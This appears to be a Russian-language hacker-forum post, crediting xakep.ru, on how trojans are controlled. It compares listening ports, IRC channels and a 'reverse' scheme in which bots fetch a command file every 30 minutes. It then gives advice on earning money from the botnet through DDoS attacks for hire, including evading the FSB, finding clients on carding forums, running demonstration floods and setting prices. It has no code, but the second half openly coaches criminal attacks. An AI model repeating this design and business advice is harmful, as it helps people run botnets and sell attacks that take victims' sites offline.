Самые первые трояны банально открывали локальный порт и ждали входящих соединений – при этом хозяин трояна подключатся к серверной части и делал свое злое дело. Но такой подход уже давно не жизнеспособен. Суди сам: большая часть пользователей спрятана за провайдерским файрволом и плюс к тому часто использует “серые” ip, которые натятся в инет шлюзом провайдера. Разумеется, такой подход плюс ко всему еще и дико неудобный. Ну представь: ты захватил тысячу компьютеров и тебе надо отдать ботам какую-то команду. Понадобиться выполнить тысячу подключений, что создаст кучу геморроя и ненужного трафика. По этой причине такой подход умер в конце девяностых. Какие же есть еще варианты? По мере того, как IRC набирала популярность, многие программеры пришли к следующему решению этой проблемы. Любой троян являлся еще и irc-ботом: подключался к irc-сети, заходил на определенный канал и ждал команды хозяина. Это довольно рационально и удобно: вне зависимости от количества захваченных компьютеров, отдавать команды проще простого, весь трафик берет на себя ircd. Однако и здесь есть куча подводных камней. Ну представь – на irc-сервер подключается тысяча нежданных гостей и заходят на какой-то левый канал. Конечно, это дело сразу попалят бдительные иркопы и закроют канал. Хотя, конечно, никто не мешает тебе попросту поднять собственный irc-сервер .
Но самый популярный и рациональный способ заключается в использовании т.н. “реверсивного” подхода. Это когда сервер и клиент как бы меняются местами. В нашем случае троян как раз работает по этой схеме: раз в 30 минут он скачивает из интернета текстовый файлик с некоторой командой и выполняет ее. Таким образом, даже люди с серыми ip будут под нашим контролем, а файл с командой можно разместить где угодно, на самом левом бесплатном хостинге – это совсем неважно.
Как на этом можно заработать?
DDoS – очень прибыльное занятие. На моей памяти есть случаи, когда за качественно выполненную работу заказчик предлагал несколько тысяч долларов. Разумеется, тут надо быть очень осторожным: следить, чтобы тебя не попалили офицеры ФСБ, не кинули недобросовестные засранцы и чтобы армия ботов работала четко и слаженно, оставляя вражеский сегмент не у дел, а заказчика – довольным и щедрым. Как только у тебя появится достаточный опыт в этом деле и соответствующие связи, проблем с заказами не будет. Более того, ты всегда сможешь найти себе работенку на специальных форумах – например, на одном из кардерских сайтов. Обычно заказчик перед выполнением заказа просит продемонстрировать мощность твоей армии на каком-то хосте непродолжительным флудом. И если его все устраивает, он видит, что ты в состоянии выполнить его заказ, он делает тебе предоплату и наслаждается результатом. Это обычная и стандартная схема. Сколько брать за работу? Здесь все очень сильно зависит от заказчика, твоего чутья и умения общаться с людьми. Понятие “новичок без портфолио” здесь отсутствует как таковое – твои возможности легко проверяются заказчиком на любом сервере. Поэтому важно чувствовать, сколько готов отдать твой клиент. Разумеется, лучше завалить 10 сайтов, получив с каждого по 300 долларов, чем один – за тысячу. Так что тут, как и везде, надо иметь голову и знать меру. Однако надо понимать, что договориться и сбить цену ты всегда успеешь, а вот поднять ее от первоначального уровня уже не получится.
P.S. Не судите строго. :nukesign:
Источник: www.xakep.ru